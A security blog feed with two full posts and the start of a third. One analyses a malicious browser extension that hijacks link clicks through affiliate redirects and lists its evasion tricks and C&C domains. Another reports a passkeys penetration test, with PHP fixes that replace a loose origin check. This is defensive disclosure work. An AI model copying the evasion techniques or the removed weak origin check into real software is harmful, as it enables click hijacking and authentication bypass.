clicks on the page</li><li>When a clicked link matches a known affiliate domain, redirects it through <code>advertisingshubb.com/pg/</code> &#x2014; an affiliate tracking gateway &#x2014; monetising the click<br>without the knowledge of the user or website owner</li><li>Uses cookies to track which offers have been shown and clicked, with deduplication logic to avoid repeat redirects to the same offer</li><li>Selects and prioritises offers based on the user&apos;s country, custom rates, PPS and PPL values</li></ol><p></p><h3 id="evasion-techniques">Evasion techniques</h3><p>The browser extension and its behaviour are deliberately designed to avoid detection, which makes sense, and is likely how it has managed to get to almost 100,000 active installs. The extension package itself contains only innocuous looking code, so after unpacking and analysing the included code, there are no immediate alarm bells. The malicious JS payload lives on <code>amazingrefresh.com</code> and is served to the client dynamically only when certain conditions are met, further limiting the ability to detect the malicious behaviour. The malicious code:</p><p></p><ul><li>Uses session storage to ensure it only runs once per page load </li><li>Suppresses page-leave prompts to hide redirects from the user</li><li>The payload removes itself from the DOM</li><li>Fingerprints the depth of iframes, possibly to avoid analysis</li><li>Suppresses click events so other analytics don&apos;t see them</li><li>Hides the entire page during a redirect</li></ul><p></p><p>On top of all of that, and I think quite interesting, they&apos;re using Google Analytics to monitor their infected user base, firing an event every 60 minutes to keep track of how many infected devices there are!</p><p></p><h3 id="impact-on-website-owners">Impact on website owners</h3><p>We detected this attack because we&apos;re closely monitoring the JavaScript running on our customers&apos; websites, and as I said at the start, we&apos;re typically looking out for traditional XSS attacks or supply chain compromise. The injection of this malicious JavaScript is happening entirely client-side, in the browser of the visitor, but we still have visibility of what&apos;s happening because of how our product works. For many products out there, this would be impossible to detect or monitor.</p><p>From our customers&apos; perspective, outbound links on their site are being silently hijacked and monetised by a third-party, without their knowledge or consent. Visitors are being redirected through affiliate networks, potentially to different destinations than intended. The C&amp;C architecture also means that the payload can be changed at any time to deliver anything from more aggressive adware, credential harvesting, a Magecart credit card skimmer, or just about anything that you could imagine. Whilst this doesn&apos;t represent a compromise of our customers&apos; website, or their supply chain, this still raises genuine concerns that need to be addressed.</p><p></p><h3 id="reporting-the-malicious-extensions">Reporting the malicious extensions</h3><p>This extension is available for both Chrome and Edge, and we have reported it to both browser vendors including evidence of the malicious behaviour. Given that it appears to have almost 100,000 users across both browsers, I hope they can move quickly to remove the extension from the stores and affected devices. This will benefit not only those visitors to our customers&apos; websites, but the wider ecosystem as a whole as we work to remove this malicious behaviour and protect all involved. </p><p>This capability aligns well with our goal of making the web safer for everyone, not just our customers, and is something that we have been working on for over a decade. My first blog post on detecting and blocking client-side compromise like this was in 2015(!), <a href="https://scotthelme.co.uk/combat-ad-injectors-with-csp/?ref=scotthelme.ghost.io" rel="noreferrer">Combat ad-injectors with CSP</a>, and in 2017 I followed that up with <a href="https://scotthelme.co.uk/combat-ad-injectors-with-csp/?ref=scotthelme.ghost.io" rel="noreferrer">Malware hunting with CSP</a>. Along the way, we have also detected and reported many browser extensions that introduced malicious behaviour, just as we have done here. When we come across more interesting cases like this one, I plan to start writing about them and sharing the details, primarily because I think these cases are genuinely interesting, but also because they help demonstrate some of our lesser-known capabilities at Report URI. </p><p></p><h3 id="indicators-of-compromise">Indicators of Compromise</h3><p>The key indicators are:</p><p>Chrome extension: <a href="https://chromewebstore.google.com/detail/amazing-auto-refresh/lgjmjfjpldlhbaeinfjbgokoakpjglbn?ref=scotthelme.ghost.io" rel="noreferrer">link</a><br>Edge extension: <a href="https://microsoftedge.microsoft.com/addons/detail/auto-refresh/kjkdocnbigcddlnghfiphgfflkooidhc?ref=scotthelme.ghost.io" rel="noreferrer">link</a><br>Extension name: <strong>Amazing Refresh</strong><br>Injected script host: <code>amazingrefresh.com</code> (domain registered 19th Feb 2026)<br>C&amp;C server: <code>api.amazingrefresh.com</code><br>Affiliate gateway: <code>advertisingshubb.com</code> (domain registered 3rd Oct 2025)<br>CDN: <code>1752680588.rsc.cdn77.org</code><br>Geo lookup: <code>meetlookup.com</code><br>Injected script element ID: <code>aar_main_script</code> <br>Google Ads Measurement ID: <code>G-11RPB8CJ47</code></p><p></p><p>If you want advanced threat detection and monitoring capabilities like this on your own site, you can head over to&#xA0;<a href="https://report-uri.com/?utm_source=scotthelme.co.uk">https://report-uri.com</a>&#xA0;and start a 30-day free trial. Our&#xA0;<a href="https://report-uri.com/solutions/javascript_integrity_monitoring?utm_source=scotthelme.co.uk">JavaScript Integrity Monitoring</a>&#xA0;solution shouldn&apos;t take more than 60 seconds to deploy and you can start gathering your first data.</p><p></p>]]></content:encoded></item><item><title><![CDATA[Bringing in the experts; Having our Passkeys implementation Security Tested]]></title><description><![CDATA[<p>We recently announced support for Passkeys on your Report URI account, and everyone should go and enable Passkeys for the amazing security benefits they offer. As a new implementation of an authentication technology, we wanted to be sure that everything was as secure as it should be for our customer&</p>]]></description><link>https://scotthelme.ghost.io/bringing-in-the-experts-having-our-passkeys-implementation-security-tested/</link><guid isPermaLink="false">69c7c509d57e1400017a6513</guid><category><![CDATA[Report URI]]></category><category><![CDATA[Passkeys]]></category><category><![CDATA[Penetration Test]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Thu, 02 Apr 2026 13:06:02 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/passkeys-test-header.png" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/passkeys-test-header.png" alt="Bringing in the experts; Having our Passkeys implementation Security Tested"><p>We recently announced support for Passkeys on your Report URI account, and everyone should go and enable Passkeys for the amazing security benefits they offer. As a new implementation of an authentication technology, we wanted to be sure that everything was as secure as it should be for our customer&apos;s accounts, so we brought in an external party to test our implementation.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-4.png" class="kg-image" alt="Bringing in the experts; Having our Passkeys implementation Security Tested" loading="lazy" width="974" height="141" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/report-uri---wide-4.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-4.png 974w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h3 id="our-annual-penetration-tests">Our annual penetration tests</h3><p>Regular readers will know that Report URI already has an annual penetration test and we now have <a href="https://scotthelme.co.uk/tag/penetration-test/?ref=scotthelme.ghost.io" rel="noreferrer">6 years worth of reports</a> publicly available for anyone to review and see what issues were found, and how we handled them. That annual review is there to make sure that our internal processes designed to keep our product secure are working and that nothing has slipped through. Our next penetration test is due in Nov/Dec 2026 to stick with our annual schedule, and whilst our application is constantly changing and evolving, Passkeys felt like a big enough change that it was worth getting it tested immediately as it touched our critical authentication flow. If you&apos;d like a brief introduction to Passkeys and how they work, you can refer to our launch blog post which has some high level details and diagrams.</p><p></p><figure class="kg-card kg-image-card"><a href="https://pentest.co.uk/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/pentest-limited-logo.png" class="kg-image" alt="Bringing in the experts; Having our Passkeys implementation Security Tested" loading="lazy" width="300" height="101"></a></figure><p></p><h3 id="engaging-with-pentest">Engaging with Pentest</h3><p>Normally, when we engage with our penetration testing company, <a href="https://pentest.co.uk/?ref=scotthelme.ghost.io" rel="noreferrer">Pentest Ltd.</a>, we have effectively no limitations on the scope of the test. This time it was a little different as we only wanted one specific part of our application testing and after discussions, we came up with the following scope:</p><p></p><pre><code>Perform a targeted external security assessment of the Report URI Passkey (WebAuthnbased 2FA) implementation.
    With the specific aim of assessing:
    &#x2022; Security of passkey enrolment and authentication flows
    &#x2022; Interaction between passkeys and existing authentication factors (password and
    TOTP)
    &#x2022; Potential authentication bypass and downgrade scenarios
    &#x2022; Protection of credential management functions (add/remove passkey)
    &#x2022; Security of recovery mechanisms (recovery codes and support-led reset process)
    &#x2022; Session handling and authentication state transitions
    &#x2022; Validation of WebAuthn integration controls (challenge handling, RP/origin
    enforcement, replay protections)
    </code></pre><p></p><p>We wanted to be really sure that our implementation was solid, and having someone external come in to test that felt like a worthwhile approach.</p><p></p><h3 id="the-findings">The findings</h3><p>For those who&apos;d like the TLDR; Pentest found a few problems with our implementation, but nothing that could result in unauthorised access. The worst case scenario in any of the findings was that you could add a Passkey to your account that you then couldn&apos;t remove. That&apos;s a pretty awesome result if you ask me &#x1F60E;</p><p>Alongside the findings from Pentest, we also did our own security testing and found a couple of minor bugs that we addressed too, but nothing that you&apos;d ever see on the outside. We&apos;ll start off by going through the Pentest findings and looking at the solutions that we&apos;ve implemented for them.</p><p></p><h4 id="empty-credential-id">Empty Credential ID</h4><p>Each Passkey generated by an Authenticator is given an ID that the Authenticator and the website can use to identify it. The specification says that this Credential ID, as it is known, should be &quot;A probabilistically-unique byte sequence identifying a public key credential source and its authentication assertions&quot;. Being able to set an empty ID value definitely doesn&apos;t meet that requirement, and adding a Passkey with no ID also made it impossible to then delete or rename that Passkey in your account because the ID is what we use to interact with it. </p><p>The W3C WebAuthn Level 3 spec <a href="https://www.w3.org/TR/webauthn-3/?ref=scotthelme.ghost.io#credential-id" rel="noreferrer">defines</a> credential ID length constraints, and whilst the spec is not final yet, we decided to target the new version rather than Level 2. </p><p></p><pre><code class="language-php">$credentialIdLen = strlen($data-&gt;credentialId);
    if ($credentialIdLen &lt; 16 || $credentialIdLen &gt; 1023) {
        $this-&gt;session-&gt;unset_userdata(SessionKeys::WEBAUTHN_REGISTRATION_CHALLENGE);
        $this-&gt;session-&gt;unset_userdata(SessionKeys::WEBAUTHN_REGISTRATION_CHALLENGE_TIME);
        return &apos;{&quot;ok&quot;: false, &quot;error&quot;: &quot;Invalid credential ID length.&quot;}&apos;;
    }</code></pre><p></p><p>With the length checks in place and further testing completed, this issue is now fully resolved and I&apos;m glad to say it didn&apos;t post any security risk.</p><p></p><h4 id="overlong-credential-id">Overlong Credential ID</h4><p>Whilst this issue is resolved by the fix above, there was one additional thing worth clarifying here that was specific to this finding. Without the upper bound on the Credential ID, you could register a Passkey with a huge ID value. The tester noted that if you were to do this, depending on the size of the ID value, you could get to a point where you couldn&apos;t register any more Passkeys, despite not having registered the maximum allowed amount of Passkeys. This behaviour was caused by our size limit on the amount of data allowed to be stored in a Property on a Table Storage Entity (we use Microsoft Azure Storage). Adding a new Passkey would have taken the Property over the allowed limit so our handling code did the right thing and rejected the change, failing the Passkey registration. The worst case scenario here is that if you registered a Passkey with a huge Credential ID, you may only be able to register a single Passkey on your account. This issue is resolved by the fix detailed above which also introduced an upper size limit and posed no security risk.</p><p></p><h4 id="duplicate-credential-id">Duplicate Credential ID</h4><p>Going back to the first issue, the spec states that a Credential ID should be &quot;A probabilistically-unique byte sequence&quot;, so allowing registration of duplicate IDs would not meet that requirement. There are also two separate concerns here, so we&apos;ll break them apart. </p><p>The first is that the user could register a Passkey on their account with the same Credential ID as another Passkey already registered on their account. The tester noted that this did not result in overwriting Passkeys (as we index on another value) but it did then leave them with two Passkeys registered with the same Credential ID. We already make use of the <code>excludeCredentials</code> feature, where our service provides back the IDs of the user&apos;s existing Credential IDs and the Authenticator can then avoid using duplicates. Of course, the authenticator may not do that, so an additional check is required on the way back in.</p><p></p><pre><code class="language-php">foreach ($passkeys as $passkey) {
        if ($passkey[&apos;id&apos;] === $credentialIdB64) {
    	    $this-&gt;session-&gt;unset_userdata(SessionKeys::WEBAUTHN_REGISTRATION_CHALLENGE);
            $this-&gt;session-&gt;unset_userdata(SessionKeys::WEBAUTHN_REGISTRATION_CHALLENGE_TIME);
            return &apos;{&quot;ok&quot;: false, &quot;error&quot;: &quot;This passkey is already registered.&quot;}&apos;;
        }
    }</code></pre><p></p><p>The second issue is that a user could register a Passkey with the same Credential ID as a Passkey that another user has registered. Because we&apos;re only using Passkeys as a form of 2FA, by the time we get to looking up a Credential ID, we&apos;re only looking at those bound to the correct user. The Credential IDs should also be &quot;probabilistically-unique&quot; so this is unlikely to ever happen by accident. The spec says that we SHOULD prevent this, not that we MUST, but querying over our entire user table and extracting Credential IDs adds a lot of overhead we&apos;d like to avoid. Reading the spec, I also feel that the concerns raised are more defensive techniques for if your application does things a bit wonky rather than being an actual problem, but drop your comments below if I&apos;m missing something. </p><p>As it stands, we haven&apos;t required that a Credential ID be globally unique across the service, but I&apos;m open to input, and happy to say that this issue also posed no security risk.</p><p></p><h4 id="origin-mismatch">Origin Mismatch</h4><p>This one is another bug that doesn&apos;t have an impact, but it still shouldn&apos;t be able to happen. The bug itself resides in the library we&apos;re using for Passkeys and we have up-streamed a fix which is the same as the patch that we&apos;re applying locally. </p><p></p><pre><code class="language-php">--- a/src/WebAuthn.php
    +++ b/src/WebAuthn.php
    @@ -636,9 +636,12 @@
             $host = \parse_url($origin, PHP_URL_HOST);
             $host = \trim($host, &apos;.&apos;);
    
    -        // The RP ID must be equal to the origin&apos;s effective domain, or a registrable
    -        // domain suffix of the origin&apos;s effective domain.
    -        return \preg_match(&apos;/&apos; . \preg_quote($this-&gt;_rpId) . &apos;$/i&apos;, $host) === 1;
    +        // The RP ID must be equal to the origin&apos;s effective domain, or the
    +        // origin&apos;s host must be a subdomain of the RP ID (i.e. preceded by a dot).
    +        if (\strcasecmp($host, $this-&gt;_rpId) === 0) {
    +            return true;
    +        }
    +        return \str_ends_with(\strtolower($host), &apos;.&apos; . \strtolower($this-&gt;_rpId));
         }
    
         /**</code></pre><p></p><p>The bug is that we&apos;re setting our <code>rpId</code> as <code>report-uri.com</code> and the library is checking that the host <em>ends with</em> <code>report-uri.com</code>, which is not a strict enough check. The issue with that is <code>not-report-uri.com</code> and <code>evil-report-uri.com</code> both <em>end with</em> <code>report-uri.com</code>. The check has been made more strict so that we&apos;re now looking first for an exact match to <code>report-uri.com</code>, or, we&apos;re checking that the host ends with <code>.report-uri.com</code>, having introduced the domain boundary <code>.</code> to make the check appropriate.</p><p>I&apos;ve done some pretty lengthy mental gymnastics to try and come up with a scenario where this might be exploitable, but I&apos;m struggling! Maybe if someone registered <code>not-report-uri.com</code> and lured a Report URI user there, managed to get the user to initiate a Passkey registration, and we had no CSRF protection on our registration endpoint, and we had no CORS protection on our registration endpoint, then maybe I can see a way for this to be used in an attack... In reality, I&apos;m happy to say that this has no security risk and it has been fixed as a matter of correctness rather than security.</p><p></p><h4 id="cross-origin-validation-failure">Cross-Origin Validation Failure</h4><p>Given the existing controls we have in place, this is a non-issue, but even without those existing controls, this is more of a spec compliance question than a risk. Imagine <code>evil-cyber-hacker.com</code> embeds <code>report-uri.com</code> in an iframe, the user could interact with that iframe and even register a Passkey on their account. In this scenario, the browser will pass <code>crossOrigin: true</code> in the <code>ClientDataJSON</code> to indicate that the registration was initiated inside a cross-origin iframe. Whilst this might sound like something really bad could happen, the Same-Origin Policy is going to give us all of the protection we need here. The attacker page can&apos;t read in to the iframe, it can&apos;t access any of the Passkey data and it can&apos;t conduct any actions on behalf of the user. It is true that if <code>crossOrigin: true</code> is set and you weren&apos;t expecting that, you should reject the process, so we&apos;ve patched to do just that and also up-streamed the change to the library to see if they&apos;d consider a patch there.</p><p></p><pre><code class="language-php">--- a/src/WebAuthn.php
    +++ b/src/WebAuthn.php
    @@ -358,6 +358,11 @@
                 throw new WebAuthnException(&apos;invalid origin&apos;, WebAuthnException::INVALID_ORIGIN);
             }
    
    +        // Reject cross-origin requests (proposed Level 3 spec &#xA7;7.1 Step 10).
    +        if (\property_exists($clientData, &apos;crossOrigin&apos;) &amp;&amp; $clientData-&gt;crossOrigin === true) {
    +            throw new WebAuthnException(&apos;cross-origin request not allowed&apos;, WebAuthnException::INVALID_ORIGIN);
    +        }
    +
             // Attestation
             $attestationObject = new Attestation\AttestationObject($attestationObject, $this-&gt;_formats);
    
    @@ -476,6 +481,11 @@
                 throw new WebAuthnException(&apos;invalid origin&apos;, WebAuthnException::INVALID_ORIGIN);
             }
    
    +        // Reject cross-origin requests (proposed Level 3 spec &#xA7;7.2 Step 13).
    +        if (\property_exists($clientData, &apos;crossOrigin&apos;) &amp;&amp; $clientData-&gt;crossOrigin === true) {
    +            throw new WebAuthnException(&apos;cross-origin request not allowed&apos;, WebAuthnException::INVALID_ORIGIN);
    +        }
    +
             // 11. Verify that the rpIdHash in authData is the SHA-256 hash of the RP ID expected by the Relying Party.
             if ($authenticatorObj-&gt;getRpIdHash() !== $this-&gt;_rpIdHash) {
                 throw new WebAuthnException(&apos;invalid rpId hash&apos;, WebAuthnException::INVALID_RELYING_PARTY);</code></pre><p></p><h4 id="user-handle-not-validated">User Handle Not Validated</h4><p>The <code>userHandle</code> in Passkeys is the internal user ID that the application can use to uniquely identify the user. This can be used when the user is trying to login without having provided a username or email first, so the application can find the user using this ID. We do have a unique <code>userId</code> value that we use to identify all users on the Report URI platform, and we were setting it in the Passkeys flow, but we didn&apos;t need to rely on it for anything. As our users will complete the email/password authentication step first, any Credential ID we were provided with could already be directly looked up on the correct <code>userId</code>. That said, the spec requires that if the authenticator provides a <code>userHandle</code> then the application must verify it, and we weren&apos;t verifying it because we didn&apos;t use it all. </p><p></p><pre><code class="language-php">$userHandleRaw = $postJson[&apos;userHandle&apos;] ?? &apos;&apos;;
    if ($userHandleRaw !== &apos;&apos;) {
        $userHandle = base64_decode($userHandleRaw, true);
        if ($userHandle === false || $userHandle === &apos;&apos;) {
            $this-&gt;session-&gt;unset_userdata(SessionKeys::WEBAUTHN_LOGIN_CHALLENGE);
            $this-&gt;session-&gt;unset_userdata(SessionKeys::WEBAUTHN_LOGIN_CHALLENGE_TIME);
            return &apos;{&quot;ok&quot;: false, &quot;error&quot;: &quot;User handle mismatch&quot;}&apos;;
        }
        $expectedUserHandle = hash(&apos;sha256&apos;, $this-&gt;userEntity-&gt;getUserId($userEntity), true);
        if (!hash_equals($expectedUserHandle, $userHandle)) {
            $this-&gt;session-&gt;unset_userdata(SessionKeys::WEBAUTHN_LOGIN_CHALLENGE);
            $this-&gt;session-&gt;unset_userdata(SessionKeys::WEBAUTHN_LOGIN_CHALLENGE_TIME);
            return &apos;{&quot;ok&quot;: false, &quot;error&quot;: &quot;User handle mismatch&quot;}&apos;;
        }
    }</code></pre><p></p><p>Now, if the <code>userHandle</code> value is set, we will verify that it is the correct one, and it&apos;s another issue chalked up with no security risk.</p><p></p><h4 id="invalid-attestation-statement">Invalid Attestation Statement</h4><p>In Passkeys, the phrase Attestation is referring to some kind of proof about what Authenticator device is being used. A company might use Attestation to limit staff to only be able to use a certain type or brand of Authenticator, like a YubiKey, for example. We have no such restrictions on what type of Authenticator can be used and permit the use of any Authenticator, including password managers. This means that we use <code>none</code> as our Attestation format and don&apos;t expect the client to send us any Attestation statements. What the spec strictly requires though is that we check that nothing was sent, and reject the process if something was sent. This required another patch to our library which just disregarded the Attestation Statement <code>attStmt</code> altogether, even if it had a value, because we do not use it for anything.</p><p></p><pre><code class="language-php">--- a/src/Attestation/Format/None.php
    +++ b/src/Attestation/Format/None.php
    @@ -24,7 +24,14 @@
         /**
          * @param string $clientDataHash
          */
         public function validateAttestation($clientDataHash) {
    +        // &#xA7;8.7 None Attestation Statement Format:
    +        // &quot;If attStmt is a properly formed attestation statement,
    +        //  verify that attStmt is an empty CBOR map.&quot;
    +        if (\count($this-&gt;_attestationObject[&apos;attStmt&apos;]) &gt; 0) {
    +            throw new WebAuthnException(&apos;invalid none attestation: attStmt must be empty&apos;, WebAuthnException::INVALID_DATA);
    +        }
    +
             return true;
         }
    </code></pre><p></p><p>With this patch, the library will now check that the <code>attStmt</code> is empty when the Attestation Format is <code>none</code>, which brings us in to alignment with the spec with no security risk.</p><p></p><h4 id="invalid-backup-flags">Invalid Backup Flags</h4><p>When a user is registering or using a Passkey, the Authenticator can tell us two things about how it handles backups of the Passkey. It can tell us:</p><p></p><ol><li>Backup Eligibility -  set if the credential is a multi-device credential, meaning it&apos;s designed to be synced across devices (e.g. an iCloud Keychain, Google Password Manager, 1Password, etc...)</li><li>Backup State - set if the credential is currently backed up, i.e. it has actually been synced to the cloud at the time of the ceremony.</li></ol><p></p><p>Looking at those two potential flags that can be set, you can then derive a set of valid states based on the relationship between them.</p><p></p><table>
    <thead>
    <tr>
    <th>BE</th>
    <th>BS</th>
    <th>Meaning</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>0</td>
    <td>0</td>
    <td>Not backup eligible, not backed up</td>
    </tr>
    <tr>
    <td>1</td>
    <td>0</td>
    <td>Backup eligible, not yet backed up</td>
    </tr>
    <tr>
    <td>1</td>
    <td>1</td>
    <td>Backup eligible, currently backed up</td>
    </tr>
    <tr>
    <td>0</td>
    <td>1</td>
    <td><strong>Invalid</strong> &#x2014; cannot be backed up without being eligible</td>
    </tr>
    </tbody>
    </table>
    <p></p><p>The final row in that table indicates an invalid state because a Passkey can&apos;t have been backed up if the Passkey is not eligible to be backed up. The current specification does not require that we reject this, but the future version of the spec does. We will now check for this invalid state and have up-streamed a patch to the library.</p><p></p><pre><code class="language-php">diff --git a/src/Attestation/AuthenticatorData.php b/src/Attestation/AuthenticatorData.php
    index 83462b1..a73d195 100644
    --- a/src/Attestation/AuthenticatorData.php
    +++ b/src/Attestation/AuthenticatorData.php
    @@ -281,6 +281,12 @@ class AuthenticatorData {
             $flags-&gt;isBackup = $flags-&gt;bit_4;
             $flags-&gt;attestedDataIncluded = $flags-&gt;bit_6;
             $flags-&gt;extensionDataIncluded = $flags-&gt;bit_7;
    +
    +        // Backup State (BS) requires Backup Eligible (BE) per spec.
    +        if ($flags-&gt;isBackup &amp;&amp; !$flags-&gt;isBackupEligible) {
    +            throw new WebAuthnException(&apos;invalid backup flags: BS without BE&apos;, WebAuthnException::INVALID_DATA);
    +        }
    +
             return $flags;
         }
     </code></pre><p></p><p>This issue also present no security risk and is now resolved.</p><p></p><h4 id="token-binding-accepted">Token Binding Accepted</h4><p><a href="https://en.wikipedia.org/wiki/Token_Binding?ref=scotthelme.ghost.io" rel="noreferrer">Token Binding</a> is a fairly old technology that is now deprecated, Chrome <a href="https://issues.chromium.org/issues/40589745?ref=scotthelme.ghost.io" rel="noreferrer">removed their code</a> for it in 2018. A client can indicate it was using Token Binding in a Passkey ceremony by setting the <code>tokenBinding.status</code> value to <code>present</code>. Given that our application does not support Token Binding, and most other applications probably don&apos;t either, along with clients having deprecated it, this shouldn&apos;t really be possible. Our application would allow a client to indicate it was using Token Binding, even though it can&apos;t, and we would ignore these values as we don&apos;t use it. The spec does not allow you to ignore these values, so we had to handle them. We&apos;re now correctly validating these fields if they are present and we have up-streamed a patch.</p><p></p><pre><code class="language-php">diff --git a/src/WebAuthn.php b/src/WebAuthn.php
    index d6b78e7..f81882f 100644
    --- a/src/WebAuthn.php
    +++ b/src/WebAuthn.php
    @@ -362,6 +362,12 @@ class WebAuthn {
                 throw new WebAuthnException(&apos;cross-origin request not allowed&apos;, WebAuthnException::INVALID_ORIGIN);
             }
     
    +        // 6. Verify tokenBinding status matches the TLS connection. We do not
    +        //    support Token Binding, so reject status &quot;present&quot; (Level 2 &#xA7;7.1 Step 6).
    +        if (\property_exists($clientData, &apos;tokenBinding&apos;) &amp;&amp; \is_object($clientData-&gt;tokenBinding) &amp;&amp; \property_exists($clientData-&gt;tokenBinding, &apos;status&apos;) &amp;&amp; $clientData-&gt;tokenBinding-&gt;status === &apos;present&apos;) {
    +            throw new WebAuthnException(&apos;token binding not supported&apos;, WebAuthnException::INVALID_DATA);
    +        }
    +
             // Attestation
             $attestationObject = new Attestation\AttestationObject($attestationObject, $this-&gt;_formats);
     
    @@ -485,6 +491,12 @@ class WebAuthn {
                 throw new WebAuthnException(&apos;cross-origin request not allowed&apos;, WebAuthnException::INVALID_ORIGIN);
             }
     
    +        // 10. Verify tokenBinding status matches the TLS connection. We do not
    +        //     support Token Binding, so reject status &quot;present&quot; (Level 2 &#xA7;7.2 Step 10).
    +        if (\property_exists($clientData, &apos;tokenBinding&apos;) &amp;&amp; \is_object($clientData-&gt;tokenBinding) &amp;&amp; \property_exists($clientData-&gt;tokenBinding, &apos;status&apos;) &amp;&amp; $clientData-&gt;tokenBinding-&gt;status === &apos;present&apos;) {
    +            throw new WebAuthnException(&apos;token binding not supported&apos;, WebAuthnException::INVALID_DATA);
    +        }
    +
             // 11. Verify that the rpIdHash in authData is the SHA-256 hash of the RP ID expected by the Relying Party.
             if ($authenticatorObj-&gt;getRpIdHash() !== $this-&gt;_rpIdHash) {
                 throw new WebAuthnException(&apos;invalid rpId hash&apos;, WebAuthnException::INVALID_RELYING_PARTY);</code></pre><p></p><p>This was the last of the issues found in the penetration test and I&apos;m happy to say that this one also presented no security risk and is resolved.</p><p></p><h4 id="were-good-to-go">We&apos;re good to go! </h4><p>When making such a big change to how users log in to our service, it makes me feel a lot more comfortable that we&apos;ve had it thoroughly reviewed by an external party. Whilst there were some issues found here, I&apos;m happy that none of them presented any real risk to our customers, and they&apos;ve all been fixed anyway. As always, we&apos;ve published the full report for our penetration test below so you can take a look at the unredacted findings!</p><p><a href="https://cdn.report-uri.com/pdf/Report%20URI%20-%202026%20Passkeys%20Penetration%20Test%20Report.pdf?ref=scotthelme.ghost.io" rel="noreferrer">Download Full Report</a></p><p></p><p></p>
    <!--kg-card-begin: html-->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/themes/prism-okaidia.min.css" integrity="sha512-mIs9kKbaw6JZFfSuo+MovjU+Ntggfoj8RwAmJbVXQ5mkAX5LlgETQEweFPI18humSPHymTb5iikEOKWF7I8ncQ==" crossorigin="anonymous" referrerpolicy="no-referrer">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/prism.min.js" integrity="sha512-HiD3V4nv8fcjtouznjT9TqDNDm1EXngV331YGbfVGeKUoH+OLkRTCMzA34ecjlgSQZpdHZupdSrqHY+Hz3l6uQ==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-markup.min.js" integrity="sha512-Ei5Vokmnc/f7vIt31aodVMuavT/xp2Lt5vGDYLgCzgBX/z5ghbZQfxt/9FkNs+RyG8IfBKAkdRsQQk4PZyHq5g==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-markup-templating.min.js" integrity="sha512-+8BiRfWso6waiFDv6tEmWF8yfPGgxAtOYLDUB0rRISLwtpxkJ9lpPNUhxwWlikn3qSO+4RQyzDppi62o3ON/AA==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-php.min.js" integrity="sha512-plzrTi61ltEMFf84gTVO9IkvIMfBu07bnDuahvdlIclmFWzXJ9VcRsny9d45sxFZRv3jJg/MHNyuxnUYEMxMEg==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <style>
      pre[class*="language-"] {
          font-size: 0.75em;
      }
    </style>
    <!--kg-card-end: html-->
    ]]></content:encoded></item><item><title><![CDATA[Launching Passkeys support on Report URI! 🗝️]]></title><description><![CDATA[<p>As we&apos;re always wanting to keep ahead in the security game, I&apos;m happy to announce that we now support Passkeys on <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>! Let&apos;s take a quick look at what Passkeys are, why you should use them, and how we&apos;ve implemented them.</p>]]></description><link>https://scotthelme.ghost.io/launching-passkeys-support-on-report-uri/</link><guid isPermaLink="false">69b2e9d974ea740001185409</guid><category><![CDATA[Passkeys]]></category><category><![CDATA[Report URI]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Mon, 30 Mar 2026 10:10:05 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/passkeys-header.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/passkeys-header.jpg" alt="Launching Passkeys support on Report URI! &#x1F5DD;&#xFE0F;"><p>As we&apos;re always wanting to keep ahead in the security game, I&apos;m happy to announce that we now support Passkeys on <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a>! Let&apos;s take a quick look at what Passkeys are, why you should use them, and how we&apos;ve implemented them.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-1.png" class="kg-image" alt="Launching Passkeys support on Report URI! &#x1F5DD;&#xFE0F;" loading="lazy" width="974" height="141" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/report-uri---wide-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide-1.png 974w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="passkeys-solve-a-big-problem">Passkeys solve a big problem</h4><p>Let&apos;s kick things off by stating the biggest benefit of Passkeys which is that they are <strong><em>phishing-resistant</em></strong>! That&apos;s right, if you&apos;re using Passkeys to protect your account, you no longer have to worry about falling victim to a phishing attack. This was the primary driver for us to add support at Report URI, to provide our customers with a strong authentication mechanism that will give them confidence they are protected against the pervasive threat of phishing attacks. On top of this tremendous benefit, I feel that they&apos;re also much more convenient to use too! </p><p></p><h4 